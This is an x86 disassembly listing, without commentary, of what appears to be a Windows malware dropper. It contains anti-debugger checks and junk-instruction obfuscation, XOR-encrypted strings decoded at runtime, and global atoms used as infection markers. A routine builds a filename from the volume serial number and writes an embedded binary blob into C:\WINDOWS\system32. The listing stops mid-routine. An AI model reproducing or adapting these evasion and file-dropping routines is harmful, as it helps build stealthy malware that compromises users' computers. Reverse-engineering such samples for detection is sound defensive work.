		lea	esi, aMg6g_ox	; "mƒ6g.oX"
		movsd
		movsd
		movzx	edi, byte ptr [ebp-1015h]
		shl	edi, 2
		mov	edi, ds:dword_40F2F0[edi]
		mov	[ebp-1014h], edi
		mov	eax, dword_43C004
		add	eax, 0FF8h
		push	eax
		push	edi
		call	sub_40C2A8	; IsBadWritePtr
		mov	[ebp-206Ch], eax
		mov	dword ptr [ebp-2054h], 7D39h
		mov	eax, [ebp-2054h]
		mov	edx, eax
		add	edx, eax
		mov	[ebp-2054h], edx
		cmp	dword ptr [ebp-206Ch], 0
		jnz	loc_403335
		call	sub_40C2B4	; IsDebuggerPresent
		cmp	byte ptr [ebp+8], 0
		jz	loc_403314
		mov	dword ptr [ebp-2188h], 3864h
		sub	dword ptr [ebp-2188h], 3442h
		mov	eax, [ebp-1014h]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0E9h
		jz	short loc_403191
		call	sub_40C224	; GetVersion
		cmp	byte ptr [ebp+8], 1
		jnz	loc_403314
		mov	dword ptr [ebp-2594h], 439Eh
		inc	dword ptr [ebp-2594h]
		jmp	loc_403335
; ---------------------------------------------------------------------------


loc_403191:				; CODE XREF: sub_403010+15Bj
		mov	eax, [ebp-1014h]
		mov	edx, ds:1[eax]
		sub	edx, 0FFFFFFFFh
		lea	eax, [edx+eax+4]
		mov	[ebp-2024h], eax
		mov	byte ptr [ebp-2183h], 0


loc_4031B2:				; CODE XREF: sub_403010+238j
		sub	dword ptr [ebp-2024h], 5
		mov	eax, [ebp-2024h]
		mov	[ebp-4], eax


loc_4031C2:				; CODE XREF: sub_403010+1EBj
		mov	eax, [ebp-4]
		mov	edx, eax
		dec	edx
		cmp	byte ptr [edx],	0
		jnz	short loc_4031F3
		mov	edx, eax
		sub	edx, 2
		cmp	byte ptr [edx],	0
		jnz	short loc_4031F3
		mov	edx, eax
		sub	edx, 3
		cmp	byte ptr [edx],	0
		jnz	short loc_4031F3
		mov	edx, eax
		sub	edx, 4
		cmp	byte ptr [edx],	0
		jnz	short loc_4031F3
		sub	eax, 5
		cmp	byte ptr [eax],	0
		jz	short loc_4031FD


loc_4031F3:				; CODE XREF: sub_403010+1BBj
					; sub_403010+1C5j ...
		call	sub_40C1B8	; RtlGetLastWin32Error
		dec	dword ptr [ebp-4]
		jmp	short loc_4031C2
; ---------------------------------------------------------------------------


loc_4031FD:				; CODE XREF: sub_403010+1E1j
		movzx	edi, byte ptr [ebp-2183h]
		shl	edi, 2
		mov	esi, [ebp-4]
		mov	[ebp+edi-258Ch], esi
		add	byte ptr [ebp-2183h], 1
		movzx	eax, byte ptr [esi]
		cmp	eax, 0E9h
		jnz	short loc_40324D
		call	sub_40C194	; GetCurrentThreadId
		mov	eax, esi
		mov	edx, ds:1[eax]
		sub	edx, 0FFFFFFFFh
		lea	eax, [edx+eax+4]
		mov	[ebp-2024h], eax
		mov	eax, dword_43C13D
		mov	[ebp-2593h], eax
		jmp	loc_4031B2
; ---------------------------------------------------------------------------


loc_40324D:				; CODE XREF: sub_403010+210j
		mov	ebx, [ebp-4]
		jmp	short loc_403275
; ---------------------------------------------------------------------------


loc_403252:				; CODE XREF: sub_403010+26Bj
		call	sub_40C194	; GetCurrentThreadId
		mov	eax, [ebp-1014h]
		add	eax, ebx
		sub	eax, [ebp-4]
		mov	dl, [ebx]
		mov	[eax], dl
		mov	byte ptr [ebp-2590h], 0E6h
		add	byte ptr [ebp-2590h], 40h
		inc	ebx


loc_403275:				; CODE XREF: sub_403010+240j
		cmp	ebx, [ebp-2024h]
		jb	short loc_403252


loc_40327D:				; CODE XREF: sub_403010+2DEj
		sub	byte ptr [ebp-2183h], 1
		movzx	edi, byte ptr [ebp-2183h]
		shl	edi, 2
		mov	ebx, [ebp+edi-258Ch]


loc_403295:				; CODE XREF: sub_403010+2D3j
		mov	byte ptr [ebx],	0
		call	sub_40C224	; GetVersion
		cmp	byte ptr ds:1[ebx], 0
		jnz	short loc_4032CF
		cmp	byte ptr ds:2[ebx], 0
		jnz	short loc_4032CF
		cmp	byte ptr ds:3[ebx], 0
		jnz	short loc_4032CF
		cmp	byte ptr ds:4[ebx], 0
		jnz	short loc_4032CF
		cmp	byte ptr ds:5[ebx], 0
		jz	short loc_4032E5


loc_4032CF:				; CODE XREF: sub_403010+295j
					; sub_403010+29Fj ...
		lea	edi, [ebp-258Fh]
		lea	esi, byte_43C141
		mov	ecx, 3
		rep movsb
		inc	ebx
		jmp	short loc_403295
; ---------------------------------------------------------------------------


loc_4032E5:				; CODE XREF: sub_403010+2BDj
		movzx	eax, byte ptr [ebp-2183h]
		or	eax, eax
		jg	short loc_40327D
		mov	byte ptr [ebp-2189h], 0ECh
		add	byte ptr [ebp-2189h], 0F8h
		cmp	byte ptr [ebp+8], 1
		jz	short loc_403335
		mov	dword ptr [ebp-2190h], 5818h
		inc	dword ptr [ebp-2190h]


loc_403314:				; CODE XREF: sub_403010+133j
					; sub_403010+166j
		movzx	eax, byte ptr [ebp-1015h]
		push	eax
		push	dword ptr [ebp-202Ch]
		push	dword ptr [ebp-2034h]
		call	sub_402936
		add	esp, 0Ch
		call	sub_40C2B4	; IsDebuggerPresent


loc_403335:				; CODE XREF: sub_403010+124j
					; sub_403010+17Cj ...
		cmp	byte ptr [ebp-2025h], 0
		jz	short loc_40338B
		call	sub_40C2B4	; IsDebuggerPresent
		and	dword ptr [ebp-1014h], 0


loc_40334A:				; CODE XREF: sub_403010+369j
		mov	edi, [ebp-1014h]
		shl	edi, 2
		mov	esi, [ebp-8]
		shr	esi, 2
		shl	esi, 2
		add	esi, [ebp-0Ch]
		mov	edx, [ebp+edi-2020h]
		mov	[esi+edi], edx
		inc	dword ptr [ebp-1014h]
		cmp	dword ptr [ebp-1014h], 400h
		jb	short loc_40334A
		mov	eax, dword_43C144
		mov	[ebp-2186h], eax
		jmp	loc_402D91
; ---------------------------------------------------------------------------


loc_40338B:				; CODE XREF: sub_402B12+124j
					; sub_402B12+388j ...
		add	byte ptr [ebp-1015h], 1
		movzx	edi, byte ptr [ebp-1015h]
		shl	edi, 4
		cmp	off_43BE94[edi], 0
		jnz	loc_402C24
		mov	ax, word_43C148
		mov	[ebp-2082h], ax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403010	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4033BC	proc near		; CODE XREF: sub_40352B+54p
					; sub_4035A9+3Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_4], 98h
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_43C154
		lea	eax, ds:41C850h[eax]
		push	eax
		call	sub_40C674
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_403404
; ---------------------------------------------------------------------------


loc_4033EA:				; CODE XREF: sub_4033BC+4Aj
		mov	eax, dword_43C154
		add	eax, edi
		lea	eax, ds:41C850h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0A6h
		mov	[eax], dl
		inc	edi


loc_403404:				; CODE XREF: sub_4033BC+2Cj
		cmp	edi, esi
		jl	short loc_4033EA
		mov	eax, dword_43C154
		add	eax, esi
		mov	byte ptr ds:dword_41C850[eax], 0
		mov	edi, dword_43C154
		mov	eax, edi
		add	eax, 3
		add	eax, esi
		mov	dword_43C154, eax
		inc	dword_43C154
		cmp	dword_43C154, 0E02h
		jle	short loc_403442
		and	dword_43C154, 0


loc_403442:				; CODE XREF: sub_4033BC+7Dj
		mov	[ebp+var_8], 3E7h
		lea	eax, dword_41C850[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_4033BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403453	proc near		; CODE XREF: sub_40352B+36p
					; sub_4035A9+26p

var_1D		= byte ptr -1Dh
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_F		= byte ptr -0Fh
var_C		= dword	ptr -0Ch
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		call	sub_40C188	; GetCurrentProcessId
		lea	edi, [ebp+var_F]
		lea	esi, byte_43C158
		mov	ecx, 3
		rep movsb
		mov	ecx, ebx
		or	eax, 0FFFFFFFFh


loc_403479:				; CODE XREF: sub_403453+2Bj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_403479
		mov	edi, eax
		mov	[ebp+var_6], di
		mov	[ebp+var_C], 1A6Ch
		mov	eax, 4325h
		mul	[ebp+var_C]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_C], eax
		mov	ax, [ebp+var_6]
		mov	[ebp+var_2], ax
		jmp	short loc_4034D1
; ---------------------------------------------------------------------------


loc_4034A8:				; CODE XREF: sub_403453+84j
		movzx	eax, [ebp+var_2]
		cmp	byte ptr [ebx+eax], 5Ch
		jnz	short loc_4034CD
		lea	edi, [ebp+var_1D]
		lea	esi, aVp	; "$'vp"
		mov	ecx, 5
		rep movsb
		inc	[ebp+var_2]
		call	sub_40C218	; GetTickCount
		jmp	short loc_4034D9
; ---------------------------------------------------------------------------


loc_4034CD:				; CODE XREF: sub_403453+5Dj
		dec	[ebp+var_2]


loc_4034D1:				; CODE XREF: sub_403453+53j
		movzx	eax, [ebp+var_2]
		or	eax, eax
		jg	short loc_4034A8


loc_4034D9:				; CODE XREF: sub_403453+78j
		mov	ax, [ebp+var_2]
		cmp	ax, [ebp+var_6]
		jnb	short loc_403516
		mov	[ebp+var_4], 0
		jmp	short loc_403504
; ---------------------------------------------------------------------------


loc_4034EB:				; CODE XREF: sub_403453+C1j
		movzx	eax, [ebp+var_4]
		mov	edx, [ebp+arg_4]
		movzx	ecx, [ebp+var_2]
		mov	esi, eax
		add	esi, ecx
		mov	cl, [ebx+esi]
		mov	[edx+eax], cl
		inc	[ebp+var_4]


loc_403504:				; CODE XREF: sub_403453+96j
		movzx	eax, [ebp+var_4]
		movzx	edx, [ebp+var_6]
		movzx	ecx, [ebp+var_2]
		sub	edx, ecx
		cmp	eax, edx
		jle	short loc_4034EB


loc_403516:				; CODE XREF: sub_403453+8Ej
		lea	edi, [ebp+var_14]
		lea	esi, aY@j?	; "y@j?"
		mov	ecx, 5
		rep movsb
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403453	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40352B	proc near		; CODE XREF: sub_403BAD+98p
					; sub_403D6F+264p ...

var_10B		= byte ptr -10Bh
var_10A		= dword	ptr -10Ah
var_106		= word ptr -106h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	esi
		push	edi
		mov	eax, dword_43C165
		mov	[ebp+var_10A], eax
		lea	edi, [ebp+var_10B]
		lea	esi, byte_43C169
		xor	ecx, ecx
		inc	ecx
		rep movsb
		call	sub_40C1B8	; RtlGetLastWin32Error
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	sub_403453
		mov	[ebp+var_106], 5B91h
		sub	[ebp+var_106], 7236h
		push	2
		push	offset word_4464E2
		call	sub_4033BC
		push	eax
		lea	edi, [ebp+var_104]
		push	edi
		call	sub_40C6D4
		add	esp, 18h
		call	sub_40C194	; GetCurrentThreadId
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40C254	; GlobalAddAtomA
		pop	edi
		pop	esi
		leave
		retn
sub_40352B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4035A9	proc near		; CODE XREF: sub_4096E4+2A7p
					; sub_4096E4+365p ...

var_10A		= dword	ptr -10Ah
var_106		= word ptr -106h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		push	edi
		call	sub_40C2B4	; IsDebuggerPresent
		mov	eax, dword_43C16A
		mov	[ebp+var_10A], eax
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	sub_403453
		mov	edi, 0F8Fh
		mov	eax, edi
		add	eax, edi
		mov	edi, eax
		push	2
		push	offset word_4464E2
		call	sub_4033BC
		push	eax
		lea	edx, [ebp+var_104]
		push	edx
		call	sub_40C6D4
		add	esp, 18h
		call	sub_40C1B8	; RtlGetLastWin32Error


loc_403600:				; CODE XREF: sub_4035A9+9Ej
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40C26C	; GlobalFindAtomA
		mov	edx, eax
		mov	[ebp+var_106], dx
		mov	esi, 36CFh
		add	esi, 3758h
		cmp	[ebp+var_106], 0
		jz	short loc_403649
		call	sub_40C188	; GetCurrentProcessId
		movzx	eax, [ebp+var_106]
		push	eax
		call	sub_40C260	; GlobalDeleteAtom
		mov	ebx, 2ABDh
		add	ebx, 3B08h
		jmp	short loc_403600
; ---------------------------------------------------------------------------


loc_403649:				; CODE XREF: sub_4035A9+7Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4035A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40364E	proc near		; CODE XREF: sub_4036DA+C1p
					; sub_4037D7+30p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_43C178
		lea	eax, ds:40E0D0h[eax]
		push	eax
		call	sub_40C674
		add	esp, 0Ch
		mov	[ebp+var_4], 360h
		xor	edi, edi
		jmp	short loc_403695
; ---------------------------------------------------------------------------


loc_40367B:				; CODE XREF: sub_40364E+49j
		mov	eax, dword_43C178
		add	eax, edi
		lea	eax, ds:40E0D0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0CBh
		mov	[eax], dl
		inc	edi


loc_403695:				; CODE XREF: sub_40364E+2Bj
		cmp	edi, esi
		jl	short loc_40367B
		mov	eax, dword_43C178
		add	eax, esi
		mov	byte ptr ds:dword_40E0D0[eax], 0
		mov	edi, dword_43C178
		add	dword_43C178, 3
		mov	eax, dword_43C178
		inc	eax
		add	eax, esi
		mov	dword_43C178, eax
		cmp	eax, 0DFBh
		jle	short loc_4036D0
		and	dword_43C178, 0


loc_4036D0:				; CODE XREF: sub_40364E+79j
		lea	eax, dword_40E0D0[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_40364E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4036DA	proc near		; CODE XREF: sub_4037D7+3Dp

var_4B		= byte ptr -4Bh
var_46		= byte ptr -46h
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_35		= byte ptr -35h
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		lea	edi, [ebp+var_45]
		lea	esi, a4d_w	; "4D_w"
		mov	ecx, 5
		rep movsb
		lea	edi, [ebp+var_46]
		lea	esi, byte_43C181
		xor	ecx, ecx
		inc	ecx
		rep movsb
		call	sub_40C218	; GetTickCount
		mov	eax, 11h
		sub	eax, dword_43C174
		push	eax
		lea	eax, [ebp+var_35]
		push	eax
		push	[ebp+arg_0]
		call	sub_40C620
		add	esp, 0Ch
		mov	[ebp+var_3C], 3288h
		sub	[ebp+var_3C], 7967h
		lea	ecx, [ebp+var_35]
		or	eax, 0FFFFFFFFh


loc_403738:				; CODE XREF: sub_4036DA+63j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_403738
		mov	edx, eax
		mov	[ebp+var_2], dl
		mov	[ebp+var_40], 48D8h
		inc	[ebp+var_40]
		mov	[ebp+var_1], 0
		jmp	short loc_40376A
; ---------------------------------------------------------------------------


loc_403754:				; CODE XREF: sub_4036DA+9Aj
		movzx	eax, [ebp+var_1]
		movzx	edx, [ebp+var_2]
		sub	edx, eax
		dec	edx
		mov	al, [ebp+eax+var_35]
		mov	[ebx+edx], al
		add	[ebp+var_1], 1


loc_40376A:				; CODE XREF: sub_4036DA+78j
		movzx	eax, [ebp+var_1]
		movzx	edx, [ebp+var_2]
		cmp	eax, edx
		jl	short loc_403754
		lea	edi, [ebp+var_4B]
		lea	esi, aMrie	; "mrie"
		mov	ecx, 5
		rep movsb
		movzx	eax, [ebp+var_2]
		mov	byte ptr [ebx+eax], 0
		mov	[ebp+var_3], 0
		jmp	short loc_4037AE
; ---------------------------------------------------------------------------


loc_403794:				; CODE XREF: sub_4036DA+E5j
		push	1
		push	offset byte_4464E0
		call	sub_40364E
		push	eax
		push	ebx
		call	sub_40C6D4
		add	esp, 10h
		add	[ebp+var_3], 1


loc_4037AE:				; CODE XREF: sub_4036DA+B8j
		movzx	eax, [ebp+var_3]
		mov	edx, 20h
		movzx	ecx, [ebp+var_2]
		sub	edx, ecx
		cmp	eax, edx
		jl	short loc_403794
		push	[ebp+arg_8]
		push	ebx
		call	sub_40C6D4
		add	esp, 8
		call	sub_40C1F4	; GetProcessHeap
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4036DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4037D7	proc near		; CODE XREF: sub_40A4E2+618p

var_3B		= byte ptr -3Bh
var_38		= byte ptr -38h
var_33		= byte ptr -33h
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		push	esi
		push	edi
		mov	[ebp+var_1], 0DEh
		movzx	eax, [ebp+var_1]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_1], al
		lea	edi, [ebp+var_38]
		lea	esi, aE0ls	; "E0LS"
		mov	ecx, 5
		rep movsb
		push	1
		push	(offset	aBi_0+2)
		call	sub_40364E
		push	eax
		lea	edi, [ebp+var_33]
		push	edi
		push	[ebp+arg_0]
		call	sub_4036DA
		add	esp, 14h
		lea	edi, [ebp+var_3B]
		lea	esi, aR		; " r"
		mov	ecx, 3
		rep movsb
		lea	eax, [ebp+var_33]
		push	eax
		call	sub_40C254	; GlobalAddAtomA
		call	sub_40C218	; GetTickCount
		pop	edi
		pop	esi
		leave
		retn
sub_4037D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40383E	proc near		; CODE XREF: sub_4038D6+39p
					; .text:004039A6p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_43C198
		lea	eax, ds:40F6F0h[eax]
		push	eax
		call	sub_40C674
		add	esp, 0Ch
		mov	[ebp+var_4], 2EBh
		xor	edi, edi
		jmp	short loc_403886
; ---------------------------------------------------------------------------


loc_40386C:				; CODE XREF: sub_40383E+4Aj
		mov	eax, dword_43C198
		add	eax, edi
		lea	eax, ds:40F6F0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 82h
		mov	[eax], dl
		inc	edi


loc_403886:				; CODE XREF: sub_40383E+2Cj
		cmp	edi, esi
		jl	short loc_40386C
		mov	eax, dword_43C198
		add	eax, esi
		mov	byte ptr ds:dword_40F6F0[eax], 0
		xor	edi, edi
		mov	edi, dword_43C198
		add	dword_43C198, 2
		mov	eax, dword_43C198
		add	eax, 5
		add	eax, esi
		mov	dword_43C198, eax
		cmp	eax, 0E0Ah
		jle	short loc_4038C5
		and	dword_43C198, 0


loc_4038C5:				; CODE XREF: sub_40383E+7Ej
		mov	[ebp+var_8], 369h
		lea	eax, dword_40F6F0[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_40383E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4038D6	proc near		; CODE XREF: sub_40A4E2+696p
					; sub_40A4E2+6C2p

var_109		= dword	ptr -109h
var_105		= byte ptr -105h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	esi
		push	edi
		call	sub_40C2B4	; IsDebuggerPresent
		mov	[ebp+var_105], 0C6h
		sub	[ebp+var_105], 4Ah
		push	[ebp+arg_0]
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40C6B0
		call	sub_40C188	; GetCurrentProcessId
		push	1
		push	offset aBi_0	; "¡›"
		call	sub_40383E
		push	eax
		lea	esi, [ebp+var_104]
		push	esi
		call	sub_40C6D4
		push	[ebp+arg_4]
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40C6D4
		add	esp, 20h
		mov	eax, dword_43C19C
		mov	[ebp+var_109], eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40C254	; GlobalAddAtomA
		mov	edi, 776h
		add	edi, 1E4h
		pop	edi
		pop	esi
		leave
		retn
sub_4038D6	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 118h
		push	ebx
		push	esi
		push	edi
		mov	word ptr [ebp-106h], 54FCh
		add	word ptr [ebp-106h], 285Eh
		lea	edi, [ebp-112h]
		lea	esi, aQetMvo	; "Qet<mvo"
		movsd
		movsd
		call	sub_40C1F4	; GetProcessHeap
		push	dword ptr [ebp+8]
		lea	eax, [ebp-104h]
		push	eax
		call	sub_40C6B0
		mov	ebx, 2D18h
		inc	ebx
		push	1
		push	offset aBi_0	; "¡›"
		call	sub_40383E
		push	eax
		lea	edi, [ebp-104h]
		push	edi
		call	sub_40C6D4
		call	sub_40C1F4	; GetProcessHeap
		push	dword ptr [ebp+0Ch]
		lea	eax, [ebp-104h]
		push	eax
		call	sub_40C6D4
		add	esp, 20h
		call	sub_40C194	; GetCurrentThreadId


loc_4039D4:				; CODE XREF: .text:00403A2Aj
		lea	eax, [ebp-104h]
		push	eax
		call	sub_40C26C	; GlobalFindAtomA
		mov	edi, eax
		mov	[ebp-108h], di
		mov	word ptr [ebp-10Ah], 2303h
		add	word ptr [ebp-10Ah], 7A0Ch
		cmp	word ptr [ebp-108h], 0
		jz	short loc_403A2C
		call	sub_40C1B8	; RtlGetLastWin32Error
		movzx	eax, word ptr [ebp-108h]
		push	eax
		call	sub_40C260	; GlobalDeleteAtom
		lea	edi, [ebp-115h]
		lea	esi, aDp	; "Dp"
		mov	ecx, 3
		rep movsb
		jmp	short loc_4039D4
; ---------------------------------------------------------------------------


loc_403A2C:				; CODE XREF: .text:00403A03j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A31	proc near		; CODE XREF: sub_403AC7+8Fp
					; sub_403BAD+73p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_43C1B4
		lea	eax, ds:41D930h[eax]
		push	eax
		call	sub_40C674
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_403A6E
; ---------------------------------------------------------------------------


loc_403A57:				; CODE XREF: sub_403A31+3Fj
		mov	eax, dword_43C1B4
		add	eax, edi
		lea	eax, ds:41D930h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0Eh
		mov	[eax], dl
		inc	edi


loc_403A6E:				; CODE XREF: sub_403A31+24j
		cmp	edi, esi
		jl	short loc_403A57
		mov	[ebp+var_4], 391h
		mov	eax, dword_43C1B4
		add	eax, esi
		mov	byte ptr ds:dword_41D930[eax], 0
		mov	edi, dword_43C1B4
		add	dword_43C1B4, 2
		mov	eax, dword_43C1B4
		lea	eax, [eax+esi+1]
		mov	dword_43C1B4, eax
		add	dword_43C1B4, 3
		cmp	dword_43C1B4, 0DD8h
		jle	short loc_403ABD
		and	dword_43C1B4, 0


loc_403ABD:				; CODE XREF: sub_403A31+83j
		lea	eax, dword_41D930[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_403A31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403AC7	proc near		; CODE XREF: sub_403BAD+39p
					; sub_403D6F+14Dp ...

var_100F	= byte ptr -100Fh
var_100C	= dword	ptr -100Ch
var_1007	= byte ptr -1007h
var_1006	= word ptr -1006h
var_1003	= byte ptr -1003h
var_1000	= byte ptr -1000h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1010h
		call	sub_40C118
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		call	sub_40C1B8	; RtlGetLastWin32Error
		mov	[ebp+var_1006],	310Dh
		add	[ebp+var_1006],	5F44h
		push	0FFFh
		lea	eax, [ebp+var_1003]
		push	eax
		call	sub_40C200	; GetSystemDirectoryA
		lea	edi, [ebp+var_100F]
		lea	esi, word_4411DA
		mov	ecx, 3
		rep movsb
		mov	[ebp+var_1000],	0
		push	0FFFh
		lea	eax, [ebp+var_1003]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	0FFFh
		lea	eax, [ebp+var_1003]
		push	eax
		lea	eax, [ebp+var_1003]
		push	eax
		call	sub_40C23C	; GetVolumeInformationA
		push	4
		push	offset a6v	; "+>6V"
		call	sub_403A31
		push	[ebp+var_100C]
		push	eax
		push	ebx
		call	sub_40C6B0
		add	esp, 14h
		mov	[ebp+var_1007],	0A8h
		movzx	eax, [ebp+var_1007]
		imul	eax, 0F9Fh
		mov	[ebp+var_1007],	al
		and	[ebp+var_4], 0


loc_403B89:				; CODE XREF: sub_403AC7+DFj
		mov	eax, [ebp+var_4]
		mov	al, [ebx+eax]
		cmp	al, 41h
		jge	short loc_403B9F
		cmp	al, 30h
		jle	short loc_403B9F
		mov	eax, [ebp+var_4]
		add	eax, ebx
		add	byte ptr [eax],	11h


loc_403B9F:				; CODE XREF: sub_403AC7+CAj
					; sub_403AC7+CEj
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 8
		jb	short loc_403B89
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403AC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403BAD	proc near		; CODE XREF: sub_40A4E2+736p

var_29B		= byte ptr -29Bh
var_293		= byte ptr -293h
var_28B		= byte ptr -28Bh
var_288		= byte ptr -288h
var_281		= byte ptr -281h
var_27B		= byte ptr -27Bh
var_274		= byte ptr -274h
var_170		= byte ptr -170h
var_10C		= word ptr -10Ch
var_109		= byte ptr -109h
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_102		= word ptr -102h
var_FF		= byte ptr -0FFh

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_103], 22h
		sub	[ebp+var_103], 0FAh
		lea	edi, [ebp+var_27B]
		lea	esi, aG8c5	; "G8C:	5"
		mov	ecx, 7
		rep movsb
		call	sub_40C194	; GetCurrentThreadId
		lea	eax, [ebp+var_170]
		push	eax
		call	sub_403AC7
		mov	[ebp+var_104], 0C5h
		movzx	eax, [ebp+var_104]
		imul	eax, 301Ch
		mov	[ebp+var_104], al
		lea	edi, [ebp+var_281]
		lea	esi, aBpUp	; "BP~up"
		mov	ecx, 3
		rep movsw
		push	9
		push	offset aRKvk	; "+}R+} kvk"
		call	sub_403A31
		lea	edi, [ebp+var_170]
		push	edi
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		push	eax
		lea	edi, [ebp+var_FF]
		push	edi
		call	sub_40C6B0
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_40352B
		call	sub_40C188	; GetCurrentProcessId
		push	0
		push	0
		push	2
		push	0
		push	0
		push	40000000h
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_40C2FC	; CreateFileA
		mov	[ebp+var_108], eax
		mov	[ebp+var_102], 1544h
		movzx	eax, [ebp+var_102]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_102], ax
		push	0
		lea	eax, [ebp+var_288]
		push	eax
		push	3621h
		push	offset byte_43DBB9
		push	[ebp+var_108]
		call	sub_40C3B0	; WriteFile
		mov	ebx, 16B7h
		sub	ebx, 611Eh
		push	[ebp+var_108]
		call	sub_40C1DC	; CloseHandle
		mov	[ebp+var_109], 1Ah
		add	[ebp+var_109], 3Fh
		lea	edi, [ebp+var_28B]
		lea	esi, aZs	; "zS"
		mov	ecx, 3
		rep movsb
		push	104h
		lea	eax, [ebp+var_274]
		push	eax
		push	0
		call	sub_40C1C4	; GetModuleFileNameA
		lea	edi, [ebp+var_293]
		lea	esi, byte_4411ED
		mov	ecx, 2
		rep movsd
		push	1
		push	offset a_	; "."
		call	sub_403A31
		push	eax
		lea	edi, [ebp+var_FF]
		push	edi
		call	sub_40C6D4
		lea	edi, [ebp+var_29B]
		lea	esi, aJSovv	; "j# so‚V"
